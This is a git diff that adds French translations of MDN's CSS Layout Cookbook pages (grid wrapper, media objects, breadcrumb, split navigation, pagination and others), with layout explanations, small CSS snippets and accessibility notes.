+<h3 id="Aligner_des_objets_en_lignes_et_colonnes_—_Utilisation_d'une_grille">Aligner des objets en lignes et colonnes — Utilisation d'une grille</h3>
+
+<p>Si on souhaite organiser des objets sur des lignes et sur des colonnes, alors on choisira une grille CSS. La disposition à l'aide d'une grille permet d'organiser les éléments fils d'un contener de la même façon que les boîtes flexibles mais on peut également aligner les lignes et les colonnes. Aussi, si les boîtes flexibles sont une méthode unidimensionnelle, les grilles CSS permettent de jouer sur les deux dimensions.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/css-cookbook/columns-grid.html", '100%', 720)}}</p>
+
+<div class="note">
+<p><strong>Note : </strong><a href="https://github.com/mdn/css-examples/blob/master/css-cookbook/columns-grid--download.html">Télécharger cet exemple</a></p>
+</div>
+
+<p>On utiliser les grilles CSS lorsque :</p>
+
+<ul>
+ <li>On a des éléments/objets à organiser sur plusieurs lignes et colonnes</li>
+ <li>On souhaite pouvoir aligner les éléments sur les deux axes</li>
+</ul>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>Les différentes méthodes évoquées plus haut peuvent disposer d'une prise en charge différente selon les navigateurs, se référer à chacun des tableaux suivant pour plus de détails sur la prise en charge de chaque propriété.</p>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<h3 id="column-width">column-width</h3>
+
+<p>{{Compat("css.properties.column-width")}}</p>
+
+<h3 id="column-rule">column-rule</h3>
+
+<p>{{Compat("css.properties.column-rule")}}</p>
+
+<h3 id="flex">flex</h3>
+
+<p>{{Compat("css.properties.flex")}}</p>
+
+<h3 id="flex-wrap">flex-wrap</h3>
+
+<p>{{Compat("css.properties.flex-wrap")}}</p>
+
+<h3 id="grid-template-columns">grid-template-columns</h3>
+
+<p>{{Compat("css.properties.grid-template-columns")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Colonnes_CSS">Guide pour les dispositions multi-colonnes</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Flexible_Box_Layout">Guide pour les boîtes flexibles (<em>flexbox</em>)</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout">Guide pour les grilles CSS</a></li>
+</ul>
diff --git a/files/fr/web/css/layout_cookbook/grid_wrapper/index.html b/files/fr/web/css/layout_cookbook/grid_wrapper/index.html
new file mode 100644
index 0000000000..0e2ed6385f
--- /dev/null
+++ b/files/fr/web/css/layout_cookbook/grid_wrapper/index.html
@@ -0,0 +1,83 @@
+---
+title: Envelopper une grille
+slug: Web/CSS/Layout_cookbook/Grid_wrapper
+tags:
+  - CSS
+  - Guide
+  - Recette
+translation_of: Web/CSS/Layout_cookbook/Grid_wrapper
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">Ce motif permet d'aligner le contenu d'une grille au centre grâce à un élément qui l'enveloppe. On peut également choisir quels éléments aligner au centre et lesquels adosser aux côtés.</p>
+
+<h2 id="Spécifications_sommaires">Spécifications sommaires</h2>
+
+<p>Les éléments placés sur la grille devraient pouvoir être alignés au centre et/ou sur les bords.</p>
+
+<h2 id="Recette">Recette</h2>
+
+<p>{{EmbedGHLiveSample("css-examples/css-cookbook/grid-wrapper.html", '100%', 720)}}</p>
+
+<div class="note">
+<p><strong>Note : </strong><a href="https://github.com/mdn/css-examples/blob/master/css-cookbook/grid-wrapper--download.html">Télécharger cet exemple</a>.</p>
+</div>
+
+<h2 id="Choix_effectués">Choix effectués</h2>
+
+<p dir="ltr" id="docs-internal-guid-30ae4ecd-7fff-36c2-da7d-0fbb6ec4feae">Cette recette utilise la fonction {{cssxref("minmax()")}} afin de définir les tailles des pistes pour la propriété {{cssxref("grid-template-columns")}}.</p>
+
+<p dir="ltr">Les deux colonnes extérieures ont une taille maximale de <code>1fr</code>, ce qui signifie qu'elles occuperont tout l'espace disponible dans le conteneur de grille.</p>
+
+<h2 id="Méthodes_de_recours_ou_alternatives">Méthodes de recours ou alternatives</h2>
+
+<p>Si cette recette est utilisée pour une page entière, il peut s'avérer utile de définir <code>max-width</code> et des marges horzontales avec <code>auto</code> afin que le contenu soit centré horizontalement :</p>
+
+<pre class="brush: css">.grid {
+  max-width: 1200px;
+  margin: 0 auto; // on centre le conteneur en horizontal
+  display: grid;
+  /* Other grid code goes here */
+}
+
+/* On retire max-width et les marges si le navigateur */
+/* prend en charge les grilles */
+@supports (display: grid) {
+  .grid {
+    max-width: none;
+    margin: 0;
+  }
+}</pre>
+
+<p>Pour qu'un élément soit isolé et colle au bord du <em>viewport</em>, on peut utiliser cette astuce de <a href="https://una.im/">Una Kravets</a> :</p>
+
+<pre class="brush: css">.item {
+  width: 100vw;
+  margin-left: 50%;
+  transform: translate3d(-50%, 0, 0);
+}</pre>
+
+<p>On a ainsi une méthode plus compatible mais qui ne permet pas d'aligner les éléments aussi facilement que sur une grille CSS.</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Bien que les grilles CSS nous permettent potentiellement de positionner n'importe où on le souhaite, il est important que l'ordre des éléments dans le document soit le même que l'ordre visuel, utilisé pour la navigation (voir <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">les grilles CSS et l'accessibilité</a> pour plus de détails).</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<h3 id="grid-template-columns"><code>grid-template-columns</code></h3>
+
+<p>{{Compat("css.properties.grid-template-columns")}}</p>
+
+<h2 id="See_also" name="See_also">Voir aussi</h2>
+
+<ul>
+ <li>{{Cssxref("grid-template-columns")}}</li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout" id="docs-internal-guid-ae8eafc9-7fff-65b9-8d8c-bb5f1e3c874c">Les grilles CSS sur MDN</a></li>
+ <li>Article :<a href="https://css-irl.info/more-flexibility-with-minmax/"> Les grilles CSS, plus de flexibilité avec <code>minmax()</code> (en anglais)</a></li>
+ <li>Article : <a href="https://rachelandrew.co.uk/archives/2017/06/01/breaking-out-with-css-grid-explained/">Isoler des éléments sur une grille CSS (en anglais)</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/fr/web/css/layout_cookbook/index.html b/files/fr/web/css/layout_cookbook/index.html
new file mode 100644
index 0000000000..dc96a66da3
--- /dev/null
+++ b/files/fr/web/css/layout_cookbook/index.html
@@ -0,0 +1,84 @@
+---
+title: CSS Layout cookbook
+slug: Web/CSS/Layout_cookbook
+tags:
+  - CSS
+  - Guide
+  - recettes
+translation_of: Web/CSS/Layout_cookbook
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">Le livre de recettes CSS vise à illustrer différents motifs qu'on retrouve fréquemment sur le Web et qu'on pourrait souhaiter implémenter pour son propre site. En plus de fournir du code qui peut servir de point de départ, ces recettes mettent en avant les différents outils et dispositions qui peuvent être utilisées et les choix à effectuer lors du développement.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Si vous débutez en CSS, nous vous conseillons de consulter <a href="/fr/docs/Apprendre/CSS/CSS_layout">notre module sur l'apprentissage de la disposition en CSS</a>. Ce guide vous fournira les informations de base pour comprendre le fonctionnement de chacune de ces recettes.</p>
+</div>
+
+<h2 id="Les_recettes">Les recettes</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Recette</th>
+   <th scope="col">Description</th>
+   <th scope="col">Méthodes de disposition utilisées</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="/fr/docs/Web/CSS/Layout_cookbook/Media_objects">Objets avec média</a></td>
+   <td>Une boîte constituée de deux colonnes avec une image d'un côté et un texte descriptif de l'autre (par exemple un tweet ou une publication Facebook intégrée à une page).</td>
+   <td><a href="/fr/docs/Web/CSS/CSS_Grid_Layout">Grilles CSS</a>, {{cssxref("float")}} pour une méthode de recours, dimensionnement avec {{cssxref("fit-content")}}</td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/CSS/Layout_cookbook/Disposition_en_colonnes">Colonnes</a></td>
+   <td>Comment choisir entre une disposition multi-colonnes, les boites flexibles (flexbox) ou les grilles CSS pour organiser des colonnes de contenu.</td>
+   <td><a href="/fr/docs/Web/CSS/CSS_Grid_Layout">Grilles CSS</a>, <a href="/fr/docs/Web/CSS/CSS_Columns">Disposition multi-colonnes</a>, <a href="/fr/docs/Web/CSS/CSS_Flexible_Box_Layout">Flexbox</a></td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/CSS/Layout_cookbook/Centrer_un_element">Centrer un élément</a></td>
+   <td>Comment centrer un élément horizontalement et verticalement.</td>
+   <td><a href="/fr/docs/Web/CSS/CSS_Flexible_Box_Layout">Flexbox</a>, <a href="/fr/docs/Web/CSS/CSS_Box_Alignment">Alignement des boîtes</a></td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/CSS/Layout_cookbook/Bas_de_page_adhérant">Bas de page adhérant</a></td>
+   <td>Créer un pied de page qui se situe en bas du conteneur ou de la zone d'affichage (<em>viewport</em>) lorsque le contenu est plus petit que la zone ou le conteneur.</td>
+   <td><a href="/fr/docs/Web/CSS/CSS_Grid_Layout">Grilles CSS</a>, <a href="/fr/docs/Web/CSS/CSS_Flexible_Box_Layout">Flexbox</a></td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/CSS/Layout_cookbook/Navigation_segmentée">Navigation segmentée</a></td>
+   <td>Un motif de navigation où certains liens sont séparés des autres.</td>
+   <td><a href="/fr/docs/Web/CSS/CSS_Flexible_Box_Layout">Flexbox</a>, {{cssxref("margin")}}</td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/CSS/Layout_cookbook/Navigation_Breadcrumb">Navigation avec un fil d'Ariane (<em>breadcrumb</em>)</a></td>
+   <td>Créer une liste de liens qui permette au visiteur de naviguer selon la hiérarchie des pages.</td>
+   <td><a href="/fr/docs/Web/CSS/CSS_Flexible_Box_Layout">Flexbox</a></td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/CSS/Layout_cookbook/Liste_groupes_avec_indicateurs">Liste de groupes avec indicateurs</a></td>
+   <td>Afficher une liste d'éléments avec chacun un indicateur numérique.</td>
+   <td><a href="/fr/docs/Web/CSS/CSS_Flexible_Box_Layout">Flexbox</a>, <a href="/fr/docs/Web/CSS/CSS_Box_Alignment">Alignement des boîtes</a></td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/CSS/Layout_cookbook/Pagination">Pagination</a></td>
+   <td>Comment créer des liens pour différentes pages, ordonnées, de contenu (les résultats d'une recherche par exemple).</td>
+   <td><a href="/fr/docs/Web/CSS/CSS_Flexible_Box_Layout">Flexbox</a>, <a href="/fr/docs/Web/CSS/CSS_Box_Alignment">Alignement des boîtes</a></td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/CSS/Layout_cookbook/Carte">Carte</a></td>
+   <td>Un composant sous forme de carte. L'assemblage de tels composants formera une grille de cartes.</td>
+   <td><a href="/fr/docs/Web/CSS/CSS_Grid_Layout">Grilles CSS</a></td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/CSS/Layout_cookbook/Grid_wrapper">Envelopper une grille (<em>grid wrapper</em>)</a></td>
+   <td>Comment aligner certains éléments au centre d'une grille et permettre à d'autres d'être alignés sur les bords.</td>
+   <td><a href="/fr/docs/Web/CSS/CSS_Grid_Layout">Grilles CSS</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Contribuer_en_créant_une_recette">Contribuer en créant une recette</h2>
+
+<p>MDN est un wiki auquel vous pouvez contribuer, y compris en ajoutant une recette à celles-ci ! <a href="/fr/docs/Web/CSS/Layout_cookbook/Contribuer_à_une_recette">Voir cette page</a> pour un modèle ainsi que les règles à suivre pour créer votre propre exemple.</p>
diff --git a/files/fr/web/css/layout_cookbook/liste_groupes_avec_indicateurs/index.html b/files/fr/web/css/layout_cookbook/liste_groupes_avec_indicateurs/index.html
new file mode 100644
index 0000000000..6c3f1d171f
--- /dev/null
+++ b/files/fr/web/css/layout_cookbook/liste_groupes_avec_indicateurs/index.html
@@ -0,0 +1,53 @@
+---
+title: Liste de groupes avec indicateurs
+slug: Web/CSS/Layout_cookbook/Liste_groupes_avec_indicateurs
+tags:
+  - CSS
+  - Guide
+  - Intermédiaire
+translation_of: Web/CSS/Layout_cookbook/List_group_with_badges
+---
+<p>{{CSSRef}}</p>
+
+<p class="summary">Dans cet article, nous verrons comment créer une liste de groupes dont chaque élément possède un compteur sous la forme d'un indicateur (<em>badge</em>).</p>
+
+<p><img alt="A list of items with a badge indicating a count displayed to the right of the text." src="https://mdn.mozillademos.org/files/16255/list-group-badges.png" style="height: 423px; width: 791px;"></p>
+
+<h2 id="Spécifications_sommaires">Spécifications sommaires</h2>
+
+<p>Les éléments de la liste doivent être affichés avec les indicateurs alignés à droite, quel que soit le volume de contenu pour un élément. L'indicateur doit être centré verticalement s'il y a plus d'une ligne de contenu.</p>
+
+<h2 id="Exemple_appliqué">Exemple appliqué</h2>
+
+<p>{{EmbedGHLiveSample("css-examples/css-cookbook/list-group-badges.html", '100%', 720)}}</p>
+
+<p class="note"><strong>Note :</strong> <a href="https://github.com/mdn/css-examples/blob/master/css-cookbook/list-group-badges--download.html">Télécharger l'exemple</a>.</p>
+
+<h2 id="Choix_effectués">Choix effectués</h2>
+
+<p>Les boîtes flexibles sont un outil plutôt pratique pour constituer ce motif et permettent d'adapter simplement la disposition.</p>
+
+<p>Pour s'assurer que le texte et l'indicateur soient bien alignés, on utilise la propriété <code>justify-content</code> avec la valeur <code>space-between</code>. Ainsi, l'espace supplémentaire est placé entre les éléments. Vous pouvez retirer cette propriété dans l'exemple ci-avant pour voir le badge se déplacer à la fin du texte.</p>
+
+<p>Pour aligner le contenu horizontalement, on utilise la propriété <code>align-items</code> afin d'aligner le texte et l'indicateur sur l'axe secondaire. Si on veut que l'indicateur soit aligné en haut du contenu, on pourra utiliser <code>align-items: flex-start</code> à la place.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>Les différentes méthodes utilisées ici peuvent avoir une prise en charge différentes par les navigateurs. Se référer à chacun des tableaux pour avoir plus de détails.</p>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<h3 id="justify-content">justify-content</h3>
+
+<p>{{Compat("css.properties.justify-content")}}</p>
+
+<h3 id="align-items">align-items</h3>
+
+<p>{{Compat("css.properties.align-items")}}</p>
+
+<h2 id="See_also" name="See_also">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Box_Alignment/Alignement_boîtes_disposition_Flexbox">Alignement des boîtes avec les boîtes flexibles</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Flexible_Box_Layout/Aligner_des_éléments_dans_un_conteneur_flexible">Aligner des objets dans un conteneur flexible</a></li>
+</ul>
diff --git a/files/fr/web/css/layout_cookbook/media_objects/index.html b/files/fr/web/css/layout_cookbook/media_objects/index.html
new file mode 100644
index 0000000000..129ba33c40
--- /dev/null
+++ b/files/fr/web/css/layout_cookbook/media_objects/index.html
@@ -0,0 +1,89 @@
+---
+title: Objets avec média
+slug: Web/CSS/Layout_cookbook/Media_objects
+tags:
+  - CSS
+  - Guide
+  - Recette
+translation_of: Web/CSS/Layout_cookbook/Media_objects
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">Le motif <em>Media Object</em> (qu'on peut traduire en « objet avec média ») est un motif qu'on rencontre fréquemment sur le Web. <a href="http://www.stubbornella.org/content/2010/06/25/the-media-object-saves-hundreds-of-lines-of-code/">Intitulé ainsi par Nicole Sullivan</a>, cela fait référence à une boîte organisée en deux colonnes dont l'une contient une image d'un côté et un texte descriptif de l'autre (par exemple l'image de profil de quelqu'un à gauche et un billet à droite).</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16112/media-object.png"></p>
+
+<h2 id="Spécifications_sommaires">Spécifications sommaires</h2>
+
+<p>Voici ce qu'on souhaite obtenir :</p>
+
+<ul>
+ <li>Un empilement des deux zones sur mobile et deux colonnes sur ordinateur</li>
+ <li>L'image peut être à gauche ou à droite</li>
+ <li>L'image peut être petite ou grande</li>
+ <li>Les objets avec média peuvent être imbriqués</li>
+ <li>L'objet avec média devrait dégager l'espace pour le contenu, quel que soit le côté le plus grand.</li>
+</ul>
+
+<h2 id="Recette">Recette</h2>
+
+<p class="codepen">{{EmbedGHLiveSample("css-examples/css-cookbook/media-objects.html", '100%', 1200)}}</p>
+
+<div class="note">
+<p class="codepen"><strong>Note : </strong><a href="https://github.com/mdn/css-examples/blob/master/css-cookbook/media-objects--download.html">Télécharger cet exemple</a>.</p>
+</div>
+
+<h2 id="Choix_effectués">Choix effectués</h2>
+
+<p>On a ici choisi d'utiliser <a href="/fr/docs/Web/CSS/CSS_Grid_Layout">une grille</a> pour réaliser cet objet. cela permet de contrôler les deux dimensions lorsqu'on en a besoin. Ainsi, si on a besoin d'un pied de page avec un contenu au dessus, le pied de page peut être poussé sous l'objet.</p>
+
+<p>La grille permet également d'utiliser {{cssxref("fit-content")}} pour la piste contenant l'image. En utilisant <code>fit-content</code> avec une taille maximale de 200 pixels, lorsqu'on a une petite image (une icône), la piste est réduite à la taille de cette image. Si l'image est plus grande, la piste ne sera pas plus large que 200 pixels, de plus, l'image ayant {{cssxref("max-width ")}} avec 100%, elle sera redimensionnée afin de pouvoir tenir dans la colonne.</p>
+
+<p>En utilisant {{cssxref("grid-template-areas")}} pour dessiner la disposition, on peut voir le motif dans la feuille de style CSS. La grille est définie lorsqu'on a <code>max-width</code> qui vaut au moins 500 pixels et on a donc un empilement pour les plus petits écrans.</p>
+
+<p>En ajoutant une classe <code>media-flip</code>, on fournit une disposition alternative qui permet de changer le côté sur lequel l'image est affichée.</p>
+
+<p>Lorsqu'on imbrique un objet dans un autre, il faut le placer dans la deuxième piste en mode normal et sur la première lorsqu'on choisit d'inverser le côté de l'image.</p>
+
+<h2 id="Méthodes_alternatives">Méthodes alternatives</h2>
+
+<p>Il existe différentes méthodes alternatives permettant d'obtenir ce résultat selon les navigateurs que vous souhaitez prendre en charge. Une méthode assez générique consiste à placer l'image en flottante à gauche et d'ajouter un dégagement sur la boîte afin qu'elle contienne bien tous les éléments flottants.</p>
+
+<p class="codepen">{{EmbedGHLiveSample("css-examples/css-cookbook/media-objects-fallback.html", '100%', 1200)}}</p>
+
+<div class="note">
+<p class="codepen"><strong>Note : </strong><a href="https://github.com/mdn/css-examples/blob/master/css-cookbook/media-objects-fallback--download.html">Télécharger cet exemple</a>.</p>
+</div>
+
+<p>Une fois que les éléments flottants sont des éléments de grille, les dégagements ne s'appliquent plus et il n'est donc pas nécessaire de retirer quoi que ce soit sur les dégagements.</p>
+
+<p>En revanche, il faudra retirer les marges appliquées aux objets et les largeurs superflues pour la grille (la propriété {{cssxref("gap")}} permet de contrôler l'espace entre et les pistes gèrent le reste du dimensionnement).</p>
+
+<ul>
+</ul>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>Les différentes méthodes évoquées plus haut peuvent disposer d'une prise en charge différente selon les navigateurs, se référer à chacun des tableaux suivant pour plus de détails sur la prise en charge de chaque propriété.</p>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<h3 id="grid-template-areas">grid-template-areas</h3>
+
+<p>{{Compat("css.properties.grid-template-areas")}}</p>
+
+<h3 id="float">float</h3>
+
+<p>{{Compat("css.properties.float")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout">Les grilles CSS</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_et_l_amélioration_progressive">L'amélioration progressive et les grilles CSS</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Définir_des_zones_sur_une_grille">Utiliser les zones nommées des grilles</a></li>
+ <li><code><a href="/fr/docs/Web/CSS/fit-content">fit-content</a></code></li>
+ <li><code><a href="/fr/docs/Web/CSS/grid-template-areas">grid-template-areas</a></code></li>
+</ul>
+
+<p> </p>
diff --git a/files/fr/web/css/layout_cookbook/navigation_breadcrumb/index.html b/files/fr/web/css/layout_cookbook/navigation_breadcrumb/index.html
new file mode 100644
index 0000000000..8ba8d1ea7e
--- /dev/null
+++ b/files/fr/web/css/layout_cookbook/navigation_breadcrumb/index.html
@@ -0,0 +1,49 @@
+---
+title: Fil d'Ariane (breadcrumb)
+slug: Web/CSS/Layout_cookbook/Navigation_Breadcrumb
+tags:
+  - CSS
+  - Navigation
+translation_of: Web/CSS/Layout_cookbook/Breadcrumb_Navigation
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">La navigation avec un fil d'Ariane (<em>breadcrumb</em>) permet à un utilisateur de comprendre l'emplacement auquel il se trouve au sein du site web en fournissant un fil d'Ariane qui permette de revenir à la page de départ.</p>
+
+<p><img alt="Links displayed inline with separators" src="https://mdn.mozillademos.org/files/16228/breadcrumb-navigation.png" style="height: 108px; width: 1268px;"></p>
+
+<h2 id="Spécifications_sommaires">Spécifications sommaires</h2>
+
+<p>Les différents éléments formant le chemin sont affichés sur une ligne avec un séparateur qui permet d'identifier la hiérarchie entre les pages.</p>
+
+<h2 id="Exemple_appliqué">Exemple appliqué</h2>
+
+<p>{{EmbedGHLiveSample("css-examples/css-cookbook/breadcrumb-navigation.html", '100%', 530)}}</p>
+
+<div class="note">
+<p><strong>Note :</strong> <a href="https://github.com/mdn/css-examples/blob/master/css-cookbook/breadcrumb-navigation--download.html">Télécharger cet exemple</a></p>
+</div>
+
+<h2 id="Choix_effectués">Choix effectués</h2>
+
+<p>L'ensemble est organisé dans un conteneur flexible. Les séparateurs sont générés à partir de pseudo-éléments et le séparateur choisi ici peut être modifié à votre convenance.</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>On utilise ici les attributs <code>aria-label</code> et <code>aria-current</code> afin d'aider les utilisateurs à comprendre cette navigation et l'emplacement de la page actuelle dans la structure. Pour plus d'informations, voir les liens ci-après.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<h3 id="Boîtes_flexibles">Boîtes flexibles</h3>
+
+<p>{{Compat("css.properties.flex")}}</p>
+
+<h2 id="See_also" name="See_also">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">Les boîtes flexibles CSS</a></li>
+ <li><a href="https://www.w3.org/TR/WCAG20-TECHS/G65.html">Fournir un fil d'Ariane</a></li>
+ <li><a href="https://tink.uk/using-the-aria-current-attribute/">Utiliser l'attribut <code>aria-current</code></a></li>
+</ul>
diff --git a/files/fr/web/css/layout_cookbook/navigation_segmentée/index.html b/files/fr/web/css/layout_cookbook/navigation_segmentée/index.html
new file mode 100644
index 0000000000..24cc872422
--- /dev/null
+++ b/files/fr/web/css/layout_cookbook/navigation_segmentée/index.html
@@ -0,0 +1,48 @@
+---
+title: Navigation segmentée
+slug: Web/CSS/Layout_cookbook/Navigation_segmentée
+tags:
+  - CSS
+  - Navigation
+  - flexbox
+translation_of: Web/CSS/Layout_cookbook/Split_Navigation
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">Une barre de navigation divisée consiste en un ou plusieurs éléments de navigation séparés des autres éléments de navigation.</p>
+
+<p><img alt="Items separated into two groups." src="https://mdn.mozillademos.org/files/16227/split-navigation.png" style="height: 145px; width: 1272px;"></p>
+
+<h2 id="Spécifications_sommaires">Spécifications sommaires</h2>
+
+<p>Une telle barre de navigation consiste généralement à avoir un élément écarté des autres. Pour cela, on va pouvoir utiliser les boîtes flexibles sans avoir besoin de deux conteneurs flexibles.</p>
+
+<h2 id="Exemple_appliqué">Exemple appliqué</h2>
+
+<p>{{EmbedGHLiveSample("css-examples/css-cookbook/split-navigation.html", '100%', 520)}}</p>
+
+<div class="note">
+<p><strong>Note :</strong> <a href="https://github.com/mdn/css-examples/blob/master/css-cookbook/split-navigation--download.html">Télécharger cet exemple</a>.</p>
+</div>
+
+<h2 id="Choix_effectués">Choix effectués</h2>
+
+<p>Ce composant utilise les marges automatiques et les boîtes flexibles pour séparer l'élément voulu.</p>
+
+<p>Une marge automatique absorbe tout l'espace disponible sur la direction à laquelle elle est appliquée. C'est comme cela qu'on peut centrer un bloc avec des marges automatiques, de chaque côté du bloc, la marge essaye de consommer le plus d'espace possible et <em>pousse</em> le bloc au milieu.</p>
+
+<p>Dans notre exemple, c'est la marge à gauche du dernier élément qui est automatique et qui consomme l'espace, poussant ainsi l'élément sur la droite. Pour déplacer la séparation, on peut appliquer la classe <code>push</code> à n'importe quel élément de la liste.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<h4 id="Boîtes_flexibles">Boîtes flexibles</h4>
+
+<p>{{Compat("css.properties.flex")}}</p>
+
+<h2 id="See_also" name="See_also">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">Le module de spécification <em>CSS Flexible Box Layout</em></a></li>
+</ul>
diff --git a/files/fr/web/css/layout_cookbook/pagination/index.html b/files/fr/web/css/layout_cookbook/pagination/index.html
new file mode 100644
index 0000000000..5ab2bf1d11
--- /dev/null
+++ b/files/fr/web/css/layout_cookbook/pagination/index.html
@@ -0,0 +1,81 @@
+---
+title: Pagination
+slug: Web/CSS/Layout_cookbook/Pagination
+tags:
+  - CSS
+  - Guide
+  - Recette
+  - flexbox
+translation_of: Web/CSS/Layout_cookbook/Pagination
+---
+<p>{{CSSRef}}</p>
+
+<p class="summary">Dans cette recette, nous verrons comment utiliser une méthode de navigation où l'utilisateur peut passer d'une page à une autre pour un ensemble donné via les numéros de ces pages (généralement affichés en bas de page).</p>
+
+<p><img alt="Links to sets of pages in a paged listing" src="https://mdn.mozillademos.org/files/16279/pagination.png" style="height: 192px; width: 950px;"></p>
+
+<h2 id="Spécifications_sommaires">Spécifications sommaires</h2>
+
+<p>Pour cette méthode de navigation, les éléments sont généralement affichés sur une ligne. Afin de s'assurer que la pagination est compréhensible pour les utilisateurs d'outils d'assistance, on balise les éléments dans une liste avec un élément {{htmlelement("nav")}} et on utilise CSS afin d'organiser visuellement l'ensemble sur une ligne.</p>
+
+<p>Généralement, l'outil de navigation sera centré horizontalement et placé sous le contenu.</p>
+
+<h2 id="Recette">Recette</h2>
+
+<p>{{EmbedGHLiveSample("css-examples/css-cookbook/pagination.html", '100%', 720)}}</p>
+
+<div class="note">
+<p><strong>Note : </strong><a href="https://github.com/mdn/css-examples/blob/master/css-cookbook/pagination--download.html">Télécharger cet exemple</a>.</p>
+</div>
+
+<h2 id="Choix_effectués">Choix effectués</h2>
+
+<p>Pour obtenir ce résultat, on utilise <a href="/fr/docs/Web/CSS/CSS_Flexible_Box_Layout">les boîtes flexibles</a> avec une conteneur flexible imbriqué dans un autre. L'élément {{htmlelement("nav")}} est utilisé comme conteneur flexible afin de pouvoir en centrer le contenu grâce à la propriété {{cssxref("justify-content")}}.</p>
+
+<p>La liste est elle-même un conteneur flexible qui permet d'organiser ces éléments sur une lignes. Pour espacer les éléments, on utilise la propriété {{cssxref("margin")}} pour espacer les éléments entre eux.</p>
+
+<h2 id="Méthodes_alternatives">Méthodes alternatives</h2>
+
+<p>Lorsque la propriété {{cssxref("column-gap")}} sera plus largement implémentée par les navigateurs, celle-ci pourra être utilisée à la place des marges pour espacer les éléments flexibles.</p>
+
+<pre class="brush: css">.pagination {
+  list-style: none;
+  margin: 0;
+  padding: 0;
+  display: flex;
+  column-gap: 2px;
+}
+</pre>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Il est nécessaire qu'une personne utilisant un lecteur d'écran comprenne comment la navigation fonctionne et que cliquer sur un lien envoie vers une autre page. Aussi, on ajoute <code>aria-label="pagination"</code> sur l'élément <code>&lt;nav&gt;</code>.</p>
+
+<p>On a également ajouté du contenu qui pourra être lu par le lecteur d'écran mais qui est masqué visuellement et on a ajouter l'attribut <code>aria-hidden</code> sur les flèches de pagination.</p>
+
+<p>Voir la section « Voir aussi » en fin d'article pour divers liens portants sur l'accessibilité.</p>
+
